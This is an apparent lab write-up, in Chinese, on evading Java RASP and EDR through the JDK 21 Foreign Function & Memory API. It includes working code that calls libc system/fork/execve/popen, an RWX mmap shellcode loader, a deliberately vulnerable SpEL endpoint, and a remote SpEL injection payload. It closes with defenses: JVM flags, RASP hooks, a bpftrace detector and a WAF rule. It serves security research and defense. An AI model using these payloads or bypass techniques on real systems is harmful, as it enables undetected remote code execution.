一、引言

Java 命令执行的攻防对抗持续了十余年。从反序列化到 JNDI 注入,再到各类表达式注入,攻防双方围绕 Runtime.exec() 和 ProcessBuilder 这两个入口反复博弈。防守侧的 RASP 产品几乎都将这两个类的关键方法作为核心 Hook 点,配合进程行为审计,构建起了一道看似严密的命令执行防线。

JDK 21 引入了 Foreign Function & Memory API(JEP 442,Third Preview),设计初衷是替代 JNI,为 Java 提供高性能本地互操作能力。但从安全角度看,这套 API 开辟了一条不经过传统 Java API 层的原生代码执行通道——通过 FFM API 直接调用 glibc 的 system() 函数执行命令,整个路径完全不触及 Runtime 或 ProcessBuilder,基于 Java 字节码插桩的 RASP 产品对此无感知。

更进一步,利用 mmap() 分配带有执行权限的内存区域并加载 Shellcode,可以在 JVM 进程空间内直接执行机器码,不产生任何子进程,对主机入侵检测体系构成结构性挑战。

免责声明: 本文内容仅供安全研究与授权渗透测试。利用本文技术对未授权系统进行攻击属于违法行为,由此产生的一切后果由行为人自行承担。

二、FFM API 核心原理

FFM API 由 java.lang.foreign 包提供,核心组件如下:

核心类/接口

职责

攻击相关性

Linker

Java 与本地代码的桥梁,提供 downcall(Java→Native)和 upcall(Native→Java)能力

核心入口,通过 nativeLinker() 获取

SymbolLookup

在已加载的共享库中查找函数符号地址

定位 system()、mmap()等 libc 函数

FunctionDescriptor

描述本地函数的参数和返回值类型

必须与目标 C 函数签名严格匹配

MemorySegment

表示一段连续的内存区域(堆内或堆外)

传递字符串参数、写入 Shellcode

Arena

管理 MemorySegment 的生命周期

控制分配的内存何时释放

ValueLayout

定义基本数据类型的内存布局

构造 FunctionDescriptor时使用

2.1 调用流程

调用一个本地函数分四步:

  1. 获取 Linker — Linker.nativeLinker() 获取当前平台链接器
  2. 查找符号 — SymbolLookup 在已加载的库中查找目标函数地址
  3. 创建 MethodHandle — downcallHandle(地址, FunctionDescriptor) 得到可调用句柄
  4. 分配参数并调用 — Arena 分配堆外内存存放 C 字符串等参数,invoke() 执行

2.2 与 JNI 的关键差异

理解这个差异是理解 RASP 绕过的前提:

对比维度

JNI

FFM API

开发方式

需编写 C/C++ 代码,编译 .so/.dll

纯 Java 代码,无需本地编译

部署依赖

需要 .so 文件落盘

无额外文件,直接调用系统已加载的库

安全审计

较容易识别(System.loadLibrary()调用、文件落盘)

纯 Java 调用,不触发文件系统操作

RASP 可见性

可 Hook System.loadLibrary()

不经过任何已知 Hook 点

FFM API 的本质是在 JVM 进程内部,通过 MethodHandle 机制直接发起 Native 函数调用。调用路径为 downcallHandle → JVM adapter stub → libffi → 目标 C 函数,完全绕过 java.lang.Runtime 和 java.lang.ProcessBuilder 的代码路径。

三、环境搭建

3.1 环境概览

组件

版本 / 说明

操作系统

Kali Linux 2026.1(攻击机兼靶机,可分离部署)

JDK

OpenJDK 21.0.2+13

构建工具

Maven 3.9.x

目标应用

Spring Boot 3.2.5(内嵌 Tomcat)

3.2 安装 JDK 21

javac -version

3.3 创建漏洞靶场应用

构建一个存在 SpEL 表达式注入漏洞的 Spring Boot 应用。这个漏洞模式在实际项目中不罕见——开发者将用户输入直接拼入 SpEL 表达式求值。

项目结构:

ffm-vuln-app/
 ├── pom.xml
 └── src/main/java/com/vuln/demo/
     ├── VulnApplication.java
     └── VulnController.java

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
 <project xmlns="http://maven.apache.org/POM/4.0.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
          https://maven.apache.org/xsd/maven-4.0.0.xsd">
     <modelVersion>4.0.0</modelVersion>
     <parent>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-parent</artifactId>
         <version>3.2.5</version>
     </parent>
     <groupId>com.vuln</groupId>
     <artifactId>ffm-vuln-app</artifactId>
     <version>1.0.0</version>
     <properties>
         <java.version>21</java.version>
         <maven.compiler.source>21</maven.compiler.source>
         <maven.compiler.target>21</maven.compiler.target>
     </properties>
     <dependencies>
         <dependency>
             <groupId>org.springframework.boot</groupId>
             <artifactId>spring-boot-starter-web</artifactId>
         </dependency>
     </dependencies>
     <build>
         <plugins>
             <plugin>
                 <groupId>org.springframework.boot</groupId>
                 <artifactId>spring-boot-maven-plugin</artifactId>
             </plugin>
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-compiler-plugin</artifactId>
                 <configuration>
                     <compilerArgs>
                         <arg>--enable-preview</arg>
                     </compilerArgs>
                 </configuration>
             </plugin>
         </plugins>
     </build>
 </project>

VulnApplication.java:

package com.vuln.demo;
 
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.autoconfigure.SpringBootApplication;
 
 @SpringBootApplication
 public class VulnApplication {
     public static void main(String[] args) {
         SpringApplication.run(VulnApplication.class, args);
     }
 }

VulnController.java(漏洞接口):

package com.vuln.demo;
 
 import org.springframework.expression.ExpressionParser;
 import org.springframework.expression.spel.standard.SpelExpressionParser;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestParam;
 import org.springframework.web.bind.annotation.RestController;
 
 @RestController
 public class VulnController {
 
     private final ExpressionParser parser = new SpelExpressionParser();
 
     /**
      * 漏洞接口:直接对用户输入进行 SpEL 求值
      * 正常用法:GET /calc?expr=1+1  →  返回 "Result: 2"
      */
     @GetMapping("/calc")
     public String calc(@RequestParam String expr) {
         try {
             Object result = parser.parseExpression(expr).getValue();
             return "Result: " + result;
         } catch (Exception e) {
             return "Error: " + e.getMessage();
         }
     }
 }

3.4 编译与启动

 cd ffm-vuln-app
 
 # 编译打包(--enable-preview 由 maven-compiler-plugin 自动传递给 javac)
 mvn clean package -DskipTests
 
 # 启动靶场(必须添加 --enable-preview 以启用 FFM API 预览特性)
 java --enable-preview -jar target/ffm-vuln-app-1.0.0.jar

测试接口

curl "http://localhost:8080/calc?expr=1%2B1"
 # 预期输出:Result: 2

1+1 是一个 SpEL 算术表达式,服务端执行后返回计算结果 。

测试字符串拼接

curl "http://localhost:8080/calc?expr='hello'.concat('+world')"
 # 预期输出:Result: hello+world

'hello'.concat('+world') 是一个 SpEL 方法调用,服务端执行了字符串拼接。

环境 OK!

四、实验一:FFM API 直调 libc 执行系统命令

先以独立 Java 程序演示 FFM API 调用 libc system() 执行命令的完整过程。

4.1 完整代码

FfmSystemExec.java

import java.lang.foreign.Arena;
import java.lang.foreign.FunctionDescriptor;
import java.lang.foreign.Linker;
import java.lang.foreign.MemorySegment;
import java.lang.foreign.SymbolLookup;
import java.lang.foreign.ValueLayout;
import java.lang.invoke.MethodHandle;

public class FfmSystemExec {

    public static void main(String[] args) throws Throwable {
        Linker linker = Linker.nativeLinker();

        SymbolLookup defaultLookup = linker.defaultLookup();
        MemorySegment systemAddr = defaultLookup.find("system")
                .orElseThrow(() -> new RuntimeException("找不到 system() 函数符号"));

        MethodHandle systemHandle = linker.downcallHandle(
                systemAddr,
                FunctionDescriptor.of(
                        ValueLayout.JAVA_INT,
                        ValueLayout.ADDRESS
                )
        );

        try (Arena arena = Arena.ofConfined()) {
            MemorySegment cmdStr = arena.allocateUtf8String("id && whoami");

            System.out.println("[*] 通过 FFM API 调用 libc system()...");
            int exitCode = (int) systemHandle.invoke(cmdStr);
            System.out.println("[*] system() 返回值: " + exitCode);
        }
    }
}

4.2 编译与执行

javac --enable-preview --source 21 FfmSystemExec.java
java --enable-preview FfmSystemExec

4.3 调用链逐层分析

步骤

Java 层操作

底层行为

Linker.nativeLinker()

获取平台 Linker 实现

Linux 下为基于 libffi 的实现

defaultLookup().find("system")

查找 system符号

本质是 dlsym(RTLD_DEFAULT, "system"),在进程符号表中查找

downcallHandle(addr, desc)

创建调用句柄

JVM 生成 adapter stub 代码,处理 Java/C 调用约定转换(System V AMD64 ABI)

systemHandle.invoke(cmdStr)

执行调用

adapter stub 直接跳转到 libc system()的机器码入口

整个过程中没有任何代码涉及 java.lang.Runtime、java.lang.ProcessBuilder 或 java.lang.ProcessImpl。 从 JVM 角度看,这只是一次 MethodHandle.invoke() 调用。从操作系统角度看,system() 内部的 fork()+execve() 由 libc 发起,完全在 Java 字节码插桩的感知范围之外。

4.4 fork + execve 精细控制

system() 内部通过 /bin/sh -c 执行命令,进程树中会出现 sh 进程,可能被 EDR 捕获。直接调用 fork()+execve() 可以避免中间 shell 进程:

FfmStealthExec.java

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;

public class FfmStealthExec {

    public static void stealthExec(String program, String... argv) throws Throwable {
        Linker linker = Linker.nativeLinker();
        SymbolLookup lookup = linker.defaultLookup();

        MethodHandle fork = linker.downcallHandle(
                lookup.find("fork").orElseThrow(),
                FunctionDescriptor.of(ValueLayout.JAVA_INT)
        );

        MethodHandle execve = linker.downcallHandle(
                lookup.find("execve").orElseThrow(),
                FunctionDescriptor.of(
                        ValueLayout.JAVA_INT,
                        ValueLayout.ADDRESS,
                        ValueLayout.ADDRESS,
                        ValueLayout.ADDRESS
                )
        );

        MethodHandle waitpid = linker.downcallHandle(
                lookup.find("waitpid").orElseThrow(),
                FunctionDescriptor.of(
                        ValueLayout.JAVA_INT,
                        ValueLayout.JAVA_INT,
                        ValueLayout.ADDRESS,
                        ValueLayout.JAVA_INT
                )
        );

        try (Arena arena = Arena.ofConfined()) {
            int pid = (int) fork.invoke();
            if (pid == 0) {
                MemorySegment pathSeg = arena.allocateUtf8String(program);

                // argv 数组: [program, arg1, ..., NULL]
                // 每个指针 8 字节 (x86_64),手动计算总大小
                int ptrCount = argv.length + 2; // program + args + NULL
                long ptrSize = ValueLayout.ADDRESS.byteSize(); // 8
                MemorySegment argvArray = arena.allocate(
                        ptrSize * ptrCount, ptrSize);

                argvArray.setAtIndex(ValueLayout.ADDRESS, 0, pathSeg);
                for (int i = 0; i < argv.length; i++) {
                    argvArray.setAtIndex(ValueLayout.ADDRESS, i + 1,
                            arena.allocateUtf8String(argv[i]));
                }
                argvArray.setAtIndex(ValueLayout.ADDRESS, argv.length + 1,
                        MemorySegment.NULL);

                execve.invoke(pathSeg, argvArray, MemorySegment.NULL);
            } else if (pid > 0) {
                MemorySegment status = arena.allocate(
                        ValueLayout.JAVA_INT.byteSize(),
                        ValueLayout.JAVA_INT.byteAlignment());
                waitpid.invoke(pid, status, 0);
                System.out.println("[*] 子进程退出,状态码: "
                        + status.get(ValueLayout.JAVA_INT, 0));
            }
        }
    }

    public static void main(String[] args) throws Throwable {
        System.out.println("[*] 通过 fork+execve 执行 /usr/bin/id ...");
        stealthExec("/usr/bin/id");
    }
}
javac --enable-preview --source 21 FfmStealthExec.java
 java --enable-preview FfmStealthExec

​fork() 后子进程继承了 JVM 的多线程状态,但只有调用 fork() 的线程被保留。子进程应尽快调用 execve() 完成进程替换,避免 JVM 内部状态不一致导致的不可预期行为。增加了 waitpid() 确保父进程(JVM)等待子进程执行完毕后再继续,避免产生僵尸进程。

五、实验二:strace 验证调用链差异

代码层面分析了调用链差异,但最有说服力的是从内核系统调用层面直接观测。通过 strace 跟踪两种命令执行方式的系统调用序列,可以直观看到路径差异。

5.1 传统 Runtime.exec() 的 strace 输出

先写一个使用 Runtime.exec() 的测试程序:

TraditionalExec.java

public class TraditionalExec {
     public static void main(String[] args) throws Exception {
         System.out.println("[*] 调用 Runtime.exec()...");
         Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/id"});
         p.getInputStream().transferTo(System.out);
         p.waitFor();
     }
 }

编译并用 strace 跟踪(-f 跟踪子进程,-e trace=process 只显示进程相关的系统调用):

javac TraditionalExec.java
strace -f -e trace=clone,clone3,execve -o trace_traditional.txt \
    java TraditionalExec

查看关键输出:

grep -E "clone|execve" trace_traditional.txt | grep -v "java" | tail -10

这就是 ProcessImpl.forkAndExec() 的底层实现 — 它用 clone3(CLONE_VFORK) 创建子进程,然后子进程立刻调用 execve 替换为目标程序。

clone3(CLONE_VFORK) 是由 ProcessImpl.forkAndExec() 这个 JNI 方法发起的,而 forkAndExec() 的 Java 层调用入口是 ProcessBuilder.start() → ProcessImpl.<init>。RASP 在 Java 字节码层面对这些类做了插桩,所以在 clone3 发生之前就已经拦截了。

​

接下来跑 FFM API 方式的 strace 对比,差异就一目了然了。

5.2 FFM API 方式的 strace 输出

javac --enable-preview --source 21 FfmSystemExec.java
strace -f -e trace=clone,clone3,execve -o trace_ffm.txt \
    java --enable-preview FfmSystemExec

查看关键输出:

 grep -E "clone|execve" trace_ffm.txt | grep -v "java" | tail -10

区别一目了然:

维度

传统 Runtime.exec()

FFM API system()

clone3 发起者

ProcessImpl.forkAndExec() (JNI)

libc system() (Native)

clone3 标志

CLONE_VM|CLONE_VFORK

CLONE_VM|CLONE_VFORK(相同)

execve 目标

直接 /usr/bin/id

先 /bin/sh,再由 sh 派生 id、whoami

进程链

java → id(2层)

java → sh → id / whoami(3层)

Java 层入口

ProcessBuilder.start() → ProcessImpl

MethodHandle.invoke() → 无 Java 类参与

六、实验三:RASP 绕过对比验证

strace 证明了系统调用层面的差异,本节进一步通过编写轻量级 RASP Agent 来验证 Java 层的防护效果。

6.1 RASP Agent 实现

这个 Agent 通过 SecurityManager.checkExec() 拦截所有通过 Runtime.exec() / ProcessBuilder 发起的命令执行。注意 JDK 17 开始 SecurityManager 标记为 @Deprecated(forRemoval=true),JDK 18+ 需要显式添加 -Djava.security.manager=allow 才能使用。

SimpleRasp.java:

import java.lang.instrument.Instrumentation;

 public class SimpleRasp {
 
     @SuppressWarnings("removal")
     public static void premain(String agentArgs, Instrumentation inst) {
         System.out.println("[RASP] 命令执行防护已加载");
 
         System.setSecurityManager(new SecurityManager() {
             @Override
             public void checkExec(String cmd) {
                 String caller = Thread.currentThread().getStackTrace()[3].getClassName();
                 System.out.println("[RASP] *** 拦截命令执行 ***");
                 System.out.println("[RASP]   命令: " + cmd);
                 System.out.println("[RASP]   调用者: " + caller);
                 throw new SecurityException("[RASP] 命令执行已阻止: " + cmd);
             }
 
             @Override
             public void checkPermission(java.security.Permission perm) { }
             @Override
             public void checkPermission(java.security.Permission perm, Object ctx) { }
         });
     }
 }

MANIFEST.MF:

Premain-Class: SimpleRasp

编译打包:

javac SimpleRasp.java
jar cfm SimpleRasp.jar MANIFEST.MF SimpleRasp.class

验证 jar 包内容

jar tf SimpleRasp.jar

6.2 对比测试程序

RaspBypassTest.java

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;

public class RaspBypassTest {

    public static void main(String[] args) throws Throwable {

        System.out.println("===== 测试1: Runtime.exec() =====");
        try {
            Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/id"});
            p.getInputStream().transferTo(System.out);
            p.waitFor();
            System.out.println("[+] Runtime.exec() 执行成功");
        } catch (SecurityException e) {
            System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
        }

        System.out.println();

        System.out.println("===== 测试2: ProcessBuilder =====");
        try {
            Process p = new ProcessBuilder("/usr/bin/id").start();
            p.getInputStream().transferTo(System.out);
            p.waitFor();
            System.out.println("[+] ProcessBuilder 执行成功");
        } catch (SecurityException e) {
            System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
        }

        System.out.println();

        System.out.println("===== 测试3: FFM API system() =====");
        try {
            Linker linker = Linker.nativeLinker();
            SymbolLookup lookup = linker.defaultLookup();
            MemorySegment systemAddr = lookup.find("system").orElseThrow();
            MethodHandle systemHandle = linker.downcallHandle(
                    systemAddr,
                    FunctionDescriptor.of(ValueLayout.JAVA_INT, ValueLayout.ADDRESS)
            );
            try (Arena arena = Arena.ofConfined()) {
                MemorySegment cmd = arena.allocateUtf8String("id");
                int ret = (int) systemHandle.invoke(cmd);
                System.out.println("[+] FFM API system() 执行成功,返回值: " + ret);
            }
        } catch (SecurityException e) {
            System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
        }
    }
}

6.3 执行与结果

编译测试程序

javac --enable-preview --source 21 RaspBypassTest.java

挂载 RASP Agent 运行

 java --enable-preview \
      -Djava.security.manager=allow \
      -javaagent:SimpleRasp.jar \
      RaspBypassTest

输出:

6.4 结果分析

执行方式

RASP 拦截结果

命令是否执行

原因

Runtime.exec()

已拦截

否

触发 SecurityManager.checkExec()

ProcessBuilder.start()

已拦截

否

内部调用路径同上

FFM API → system()

未拦截

是

不经过 Java 进程创建 API

七、实验四:Shellcode 内存加载与执行

system() 虽然绕过了 Java 层 RASP,但内部仍会 fork 子进程,主机 EDR 可以捕获进程创建事件。本节更进一步——用 FFM API 调用 mmap() 分配可执行内存,直接在 JVM 进程内执行 Shellcode,不产生任何子进程。

7.1 技术原理

  1. 通过 FFM API 调用 mmap(),以 PROT_READ|PROT_WRITE|PROT_EXEC (0x7) 权限分配内存
  2. 将 Shellcode 字节写入该内存
  3. 将内存地址作为函数指针,通过 downcallHandle() 包装为 MethodHandle 并调用

7.2 Shellcode 说明

使用一段无害的 x86_64 Linux Shellcode,功能是调用 write(1, "FFM_PWN\n", 8) 向标准输出打印字符串后正常返回。

手写汇编对照:

编译后的机器码字节序列:

RIP 偏移量计算:lea rsi, [rip+0x08] 中的 0x08 是从下一条指令(mov edx)到字符串数据的距离。lea 指令执行时 RIP 指向下一条指令(偏移17),字符串起始于偏移25,差值 = 25 - 17 = 8 = 0x08。这里务必算准,偏移错误会导致 Segmentation Fault。

如果需要自行验证,可以用 ndisasm 反汇编确认:

# 将 Java byte 数组中的字节写入文件
 printf '\xB8\x01\x00\x00\x00\xBF\x01\x00\x00\x00\x48\x8D\x35\x08\x00\x00\x00\xBA\x08\x00\x00\x00\x0F\x05\xC3\x46\x46\x4D\x5F\x50\x57\x4E\x0A' > /tmp/sc.bin
 
 # 反汇编验证
 ndisasm -b 64 /tmp/sc.bin

ndisasm 输出:

[rel 0x19] 就是绝对地址 0x19 = 25,正是字符串 "FFM_PWN\n" 的起始位置,验证通过。

7.3 完整利用代码

FfmShellcodeLoader.java

import java.lang.foreign.*;
 import java.lang.invoke.MethodHandle;
 
 /**
  * FFM API Shellcode 加载器
  * 通过 mmap 分配 RWX 内存,写入 shellcode 并执行
  */
 public class FfmShellcodeLoader {
 
     public static void main(String[] args) throws Throwable {
         Linker linker = Linker.nativeLinker();
         SymbolLookup lookup = linker.defaultLookup();
 
         // ===== 获取 mmap / munmap 函数句柄 =====
 
         // void *mmap(void *addr, size_t length, int prot,
         //            int flags, int fd, off_t offset)
         MethodHandle mmap = linker.downcallHandle(
                 lookup.find("mmap").orElseThrow(),
                 FunctionDescriptor.of(
                         ValueLayout.ADDRESS,        // 返回值: void*
                         ValueLayout.ADDRESS,        // addr
                         ValueLayout.JAVA_LONG,      // length (size_t)
                         ValueLayout.JAVA_INT,       // prot
                         ValueLayout.JAVA_INT,       // flags
                         ValueLayout.JAVA_INT,       // fd
                         ValueLayout.JAVA_LONG       // offset (off_t)
                 )
         );
 
         // int munmap(void *addr, size_t length)
         MethodHandle munmap = linker.downcallHandle(
                 lookup.find("munmap").orElseThrow(),
                 FunctionDescriptor.of(
                         ValueLayout.JAVA_INT,
                         ValueLayout.ADDRESS,
                         ValueLayout.JAVA_LONG
                 )
         );
 
         // ===== 定义 shellcode =====
         // x86_64 Linux: write(1, "FFM_PWN\n", 8) + ret
         byte[] shellcode = {
                 (byte)0xB8, 0x01, 0x00, 0x00, 0x00,                // mov eax, 1
                 (byte)0xBF, 0x01, 0x00, 0x00, 0x00,                // mov edi, 1
                 0x48, (byte)0x8D, 0x35, 0x08, 0x00, 0x00, 0x00,    // lea rsi, [rip+0x08]
                 (byte)0xBA, 0x08, 0x00, 0x00, 0x00,                // mov edx, 8
                 0x0F, 0x05,                                         // syscall
                 (byte)0xC3,                                         // ret
                 0x46, 0x46, 0x4D, 0x5F, 0x50, 0x57, 0x4E, 0x0A     // "FFM_PWN\n"
         };
 
         long pageSize = 4096;
 
         // Linux mmap 常量
         int PROT_READ  = 0x1;
         int PROT_WRITE = 0x2;
         int PROT_EXEC  = 0x4;
         int MAP_PRIVATE   = 0x02;
         int MAP_ANONYMOUS = 0x20;
 
         // ===== 分配 RWX 内存 =====
         MemorySegment execMem = ((MemorySegment) mmap.invoke(
                 MemorySegment.NULL,                         // addr: 由内核决定
                 pageSize,                                   // length: 一页
                 PROT_READ | PROT_WRITE | PROT_EXEC,         // prot: RWX (0x7)
                 MAP_PRIVATE | MAP_ANONYMOUS,                // flags: 0x22
                 -1,                                         // fd: 无文件映射
                 0L                                          // offset
         )).reinterpret(pageSize);
         // reinterpret() 将零长度返回段扩展为 pageSize,使其可读写
 
         System.out.println("[*] mmap 分配 RWX 内存成功");
         System.out.println("    地址: 0x" + Long.toHexString(execMem.address()));
         System.out.println("    大小: " + pageSize + " bytes");
         System.out.println("    权限: PROT_READ|PROT_WRITE|PROT_EXEC (0x7)");
 
         // ===== 写入 shellcode =====
         // copyFrom 将源 MemorySegment 的全部内容复制到目标
         execMem.copyFrom(MemorySegment.ofArray(shellcode));
         System.out.println("[*] Shellcode 写入完成,大小: " + shellcode.length + " bytes");
 
         // ===== 执行 shellcode =====
         // 将内存地址包装为 void(void) 函数指针并调用
         MethodHandle shellcodeFunc = linker.downcallHandle(
                 execMem,
                 FunctionDescriptor.ofVoid()
         );
 
         System.out.println("[*] 执行 Shellcode...");
         shellcodeFunc.invoke();
         System.out.println("[*] Shellcode 执行完毕,JVM 进程存活");
 
         // ===== 清理 =====
         int ret = (int) munmap.invoke(execMem, pageSize);
         System.out.println("[*] munmap 返回: " + ret + " (0=成功)");
     }
 }

7.4 编译执行

javac --enable-preview --source 21 FfmShellcodeLoader.java
 java --enable-preview FfmShellcodeLoader

FFM_PWN 字符串由 Shellcode 通过 write 系统调用直接写到 stdout,JVM 执行完毕后继续正常运行。

7.5 关键技术细节

Shellcode 执行后 JVM 为什么不会崩溃?

关键在于 Shellcode 末尾的 ret 指令。downcallHandle() 生成的 adapter stub 遵循 System V AMD64 ABI,调用目标函数前保存了调用栈帧。Shellcode 通过 ret 正常返回后,控制流交还给 adapter stub,再返回到 Java 层的 invoke() 调用点。只要 Shellcode 不破坏 callee-saved 寄存器(rbx、rbp、r12-r15)和栈指针,JVM 就能保持稳定。

mmap 返回值的处理:

FFM API 中,downcall 返回 ADDRESS 类型时得到的 MemorySegment 默认是零长度的,不能直接读写。必须调用 .reinterpret(newSize) 扩展其可访问范围。这是一个容易踩坑的地方——忘记 reinterpret 会在写入时抛出 IndexOutOfBoundsException。

八、实验五:SpEL 注入场景下的 FFM 利用链

前面的实验都是本地运行。本节将视角切换到远程利用场景:通过 Web 应用的 SpEL 注入漏洞,远程构造 FFM API 利用链。

8.1 传统 SpEL RCE Payload

常规的 SpEL 命令执行 Payload:

T(java.lang.Runtime).getRuntime().exec('id')

这条 payload 在有 RASP 防护或 WAF 的环境中会被拦截,因为包含 Runtime、exec 等敏感关键字。

8.2 FFM API 利用链构造

SpEL 支持通过 T() 操作符引用 Java 类型和静态方法,支持链式调用。完整的 FFM API 利用链可以在单条表达式中构造:

T(java.lang.foreign.Linker).nativeLinker().downcallHandle(
   T(java.lang.foreign.Linker).nativeLinker().defaultLookup()
     .find('system').get(),
   T(java.lang.foreign.FunctionDescriptor).of(
     T(java.lang.foreign.ValueLayout).JAVA_INT,
     T(java.lang.foreign.ValueLayout).ADDRESS
   )
 ).invoke(
   T(java.lang.foreign.Arena).ofAuto().allocateFrom('id')
 )

逐层拆解:

层级

SpEL 片段

功能

1

T(j.l.f.Linker).nativeLinker()

获取本地链接器

2

.defaultLookup().find('system').get()

查找 libc system函数地址

3

FunctionDescriptor.of(JAVA_INT, ADDRESS)

描述 int system(const char*)签名

4

.downcallHandle(addr, desc)

创建指向 system()的 MethodHandle

5

Arena.ofAuto().allocateFrom('id')

分配堆外内存存放命令字符串

6

.invoke(memSeg)

触发命令执行

​find() 返回 Optional<MemorySegment>,这里用 .get() 而非 .orElseThrow(),因为 SpEL 对 lambda 表达式支持有限。在确认目标环境是 Linux 的情况下,system 符号必然存在,直接 .get() 即可。

8.3 远程利用步骤

确保靶场应用已按第三节启动(java --enable-preview -jar ffm-vuln-app-1.0.0.jar)。

Step 1:确认注入点正常工作

curl -s "http://localhost:8080/calc?expr=1%2B1"

Step 2:发送 FFM API 利用链

将 SpEL 表达式拼接为一行并 URL 编码后发送:

PAYLOAD='T(java.lang.foreign.Linker).nativeLinker().downcallHandle(T(java.lang.foreign.Linker).nativeLinker().defaultLookup().find(%27system%27).get(),T(java.lang.foreign.FunctionDescriptor).of(T(java.lang.foreign.ValueLayout).JAVA_INT,T(java.lang.foreign.ValueLayout).ADDRESS)).invokeWithArguments(T(java.lang.foreign.Arena).ofAuto().allocateUtf8String(%27id%27))'
 
curl -s "http://localhost:8080/calc?expr=${PAYLOAD}"

攻击端 HTTP 响应:

Result: 0

靶场服务端控制台输出:

system() 的输出打到了靶场进程的 stdout,HTTP 响应只返回了 system() 的返回值 0。

8.4 带回显的改进:popen + fgets

要在 HTTP 响应中获取命令输出,需要使用 popen() + fgets() 组合。以下为独立的 Java 验证程序:

FfmPopenExec.java

import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;

public class FfmPopenExec {

    public static String execWithOutput(String command) throws Throwable {
        Linker linker = Linker.nativeLinker();
        SymbolLookup lookup = linker.defaultLookup();

        MethodHandle popen = linker.downcallHandle(
                lookup.find("popen").orElseThrow(),
                FunctionDescriptor.of(ValueLayout.ADDRESS,
                        ValueLayout.ADDRESS, ValueLayout.ADDRESS)
        );

        MethodHandle fgets = linker.downcallHandle(
                lookup.find("fgets").orElseThrow(),
                FunctionDescriptor.of(ValueLayout.ADDRESS,
                        ValueLayout.ADDRESS, ValueLayout.JAVA_INT,
                        ValueLayout.ADDRESS)
        );

        MethodHandle pclose = linker.downcallHandle(
                lookup.find("pclose").orElseThrow(),
                FunctionDescriptor.of(ValueLayout.JAVA_INT,
                        ValueLayout.ADDRESS)
        );

        try (Arena arena = Arena.ofConfined()) {
            MemorySegment cmdSeg = arena.allocateUtf8String(command);
            MemorySegment modeSeg = arena.allocateUtf8String("r");

            MemorySegment fp = (MemorySegment) popen.invoke(cmdSeg, modeSeg);
            if (fp.address() == 0) {
                return "popen() failed";
            }
            fp = fp.reinterpret(8);

            MemorySegment buf = arena.allocate(4096);
            StringBuilder output = new StringBuilder();

            while (true) {
                MemorySegment result = (MemorySegment) fgets.invoke(buf, 4096, fp);
                if (result.address() == 0) break;
                output.append(buf.getUtf8String(0));
            }

            pclose.invoke(fp);
            return output.toString();
        }
    }

    public static void main(String[] args) throws Throwable {
        System.out.println("[*] 执行 'id && uname -a':");
        String output = execWithOutput("id && uname -a");
        System.out.println(output);
    }
}
javac --enable-preview --source 21 FfmPopenExec.java
 java --enable-preview FfmPopenExec

与之前 system() 只能在服务端 stdout 输出不同,popen()+fgets() 组合把命令输出完整捕获到了 Java 的 StringBuilder 中。这意味着在 SpEL 注入场景下,攻击者可以通过 HTTP 响应直接拿到命令回显,不需要额外的带外通道(DNS外带、文件写入等)。

8.5 利用链对比

维度

传统 SpEL RCE

FFM API SpEL RCE

入口

T(Runtime).exec()

T(Linker).nativeLinker().downcallHandle(...)

底层调用链

Runtime → ProcessBuilder → ProcessImpl → forkAndExec

Linker → adapter stub → libffi → libc

RASP 可见

完全可见

不可见

WAF 关键字

Runtime、exec、getRuntime

Linker、foreign、downcallHandle

前置条件

无

JVM 启用 --enable-preview (JDK21) 或 JDK 22+

九、防御方案与检测策略

9.1 JVM 层:限制 FFM API 使用权限(根因阻断)

JDK 21: FFM API 处于 Preview 阶段,需要 --enable-preview 才能使用。生产环境不启用该参数即可从根源上阻断。

JDK 22+: FFM API 已正式转正,但引入了 --enable-native-access 参数控制哪些模块可以进行 Native 调用:

# 只允许指定模块使用 FFM API 的 restricted 方法
 java --enable-native-access=com.myapp.core -jar app.jar
 
 # 未授权模块调用 Linker.nativeLinker() 等 restricted 方法时
 # JVM 会输出警告(默认 warn 模式)或抛出 IllegalCallerException(deny 模式)
 java --enable-native-access=com.myapp.core \
      --illegal-native-access=deny \
      -jar app.jar

9.2 RASP 层:扩展 Hook 覆盖范围

RASP 产品需要将 FFM API 关键入口纳入监控:

新增 Hook 点

类 / 方法

监控目的

链接器获取

Linker.nativeLinker()

检测 Native 链接器获取行为

符号查找

SymbolLookup.find(String)

检测敏感函数(system、execve、mmap、popen)查找

Downcall 创建

Linker.downcallHandle()

检测 Native 函数调用句柄创建

库加载

SymbolLookup.libraryLookup()

检测额外共享库加载

实施建议: 对 SymbolLookup.find() 插桩,维护敏感函数黑名单(system、execve、popen、mmap、dlopen、mprotect),匹配时触发告警或阻断。

9.3 主机层:eBPF 监控

内核级监控是对抗 Shellcode 加载最有效的手段。通过 eBPF 挂载到 mmap 系统调用,检测带 PROT_EXEC 标志的内存分配:

# 安装 bpftrace(Kali Linux)
 sudo apt install -y bpftrace
 
 # 监控所有进程的 RWX 内存分配
 sudo bpftrace -e '
 tracepoint:syscalls:sys_enter_mmap
 /args->prot & 4/
 {
     printf("[ALERT] PID=%d COMM=%s mmap(len=%lu, prot=0x%x)\n",
            pid, comm, args->len, args->prot);
 }'

在另一个终端运行 Shellcode 加载实验时,bpftrace 会输出:

[ALERT] PID=12345 COMM=java mmap(len=4096, prot=0x7)

Java 进程正常运行时几乎不会分配 prot=0x7(RWX)的内存,因此该检测规则误报率极低。JIT 编译器分配的代码缓存使用 mmap + 后续 mprotect 的方式,不会一次性申请 RWX。

9.4 WAF 层:更新规则库

Web 应用防火墙需要新增 FFM API 关键字检测:

# ModSecurity 规则示例
SecRule ARGS "@rx (?i)(nativeLinker|downcallHandle|SymbolLookup|java\.lang\.foreign|FunctionDescriptor|ValueLayout\.ADDRESS)" \
    "id:100001,\
     phase:2,\
     deny,\
     status:403,\
     msg:'Potential FFM API exploitation attempt',\
     tag:'attack-rce'"

十、总结

